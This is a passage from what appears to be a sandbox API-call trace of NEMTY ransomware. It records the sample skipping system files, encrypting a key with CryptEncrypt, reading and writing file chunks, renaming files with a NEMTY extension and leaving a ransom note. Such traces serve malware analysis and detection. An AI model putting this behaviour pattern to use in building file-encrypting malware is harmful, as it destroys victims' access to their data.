ftLastAccessTime.dwLowDateTime=0x6fb6b05f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d170395, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf2f, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="title_stripe.png", cAlternateFileName="")) returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2=".") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="..") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="...") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="windows") returned -1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="$RECYCLE.BIN") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="rsa") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="NTDETECT.COM") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="ntldr") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="MSDOS.SYS") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="IO.SYS") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="boot.ini") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="boot.ini") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="AUTOEXEC.BAT") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="ntuser.dat") returned 1 [0065.254] lstrcmpiW (lpString1="title_stripe.png", lpString2="desktop.ini") returned 1 [0065.255] lstrcmpiW (lpString1="title_stripe.png", lpString2="CONFIG.SYS") returned 1 [0065.255] lstrcmpiW (lpString1="title_stripe.png", lpString2="RECYCLER") returned 1 [0065.255] lstrcmpiW (lpString1="title_stripe.png", lpString2="BOOTSECT.BAK") returned 1 [0065.255] lstrcmpiW (lpString1="title_stripe.png", lpString2="bootmgr") returned 1 [0065.255] lstrcmpiW (lpString1="title_stripe.png", lpString2="programdata") returned 1 [0065.255] lstrcmpiW (lpString1="title_stripe.png", lpString2="appdata") returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_stripe.png", lpUsedDefaultChar=0x0) returned 16 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_stripe.png", lpUsedDefaultChar=0x0) returned 16 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_stripe.png", lpUsedDefaultChar=0x0) returned 16 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0065.255] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="title_stripe.png", cchWideChar=16, lpMultiByteStr=0x4f9ed08, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="title_stripe.png", lpUsedDefaultChar=0x0) returned 16 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0065.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0065.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0065.255] Sleep (dwMilliseconds=0x5) [0065.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda8cbdb0, dwHighDateTime=0x1d561e7)) [0065.268] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xda8cbdb0, dwHighDateTime=0x1d561e7)) [0065.268] GetLastError () returned 0x5 [0065.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0065.268] GetLastError () returned 0x5 [0065.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0065.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0065.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0065.268] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0065.268] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0065.269] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0065.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0065.269] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="jKfL0RZJL95pJekIUB1CKAn1uUUAirefQ7FIJVYmAB9Rs9CZ0zuPX+/b3P+Srp6R\r\nhQ/KLPycHfhSWm69fLmNZgMOKEQuT3CvyCfTFrSXl0bGM523ylrWlTBXoz8d5KjA\r\nDzKPJtYEP8oPiQt+WXpjmTPdanuShbVXD4fgkLfAeOh1yL5tiMPFcCnesXbjY4Jg\r\nK4QYUlRq8eqnGzZv0SnhS7q47xjk7EDv6hvNfb3Wx60WbjiCHsU/dsc2Rq5vYzad\r\nSfypXKWYTiTlligkBRc5Y/Hej6dfsdJOM0HwXRlmbCsRKLofN7c8KEdPXKETXTGC\r\nr0Lz9kMDsKYxhe3DSJm2kw==\r\n", pcchString=0x653e91c) returned 1 [0065.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0065.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.269] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0065.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0065.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0065.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0065.269] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.269] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0065.269] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0065.269] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.269] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.278] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.278] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.297] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.298] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.317] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.317] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.317] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.326] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.326] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.326] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.335] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.336] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.336] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.336] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.355] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.355] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.355] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.364] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.364] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.364] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0065.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0065.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0065.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0065.376] CloseHandle (hObject=0xffffffff) returned 0 [0065.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0065.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0065.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0065.376] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0065.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0065.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0065.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0065.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x4f94328 [0065.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0065.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0065.377] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\title_stripe.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\huecycle\\title_stripe.png._nemty_kgobjgd_")) returned 0 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0065.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0065.377] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9c98cf0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd9c98cf0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd9c98cf0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0065.377] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0065.378] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", 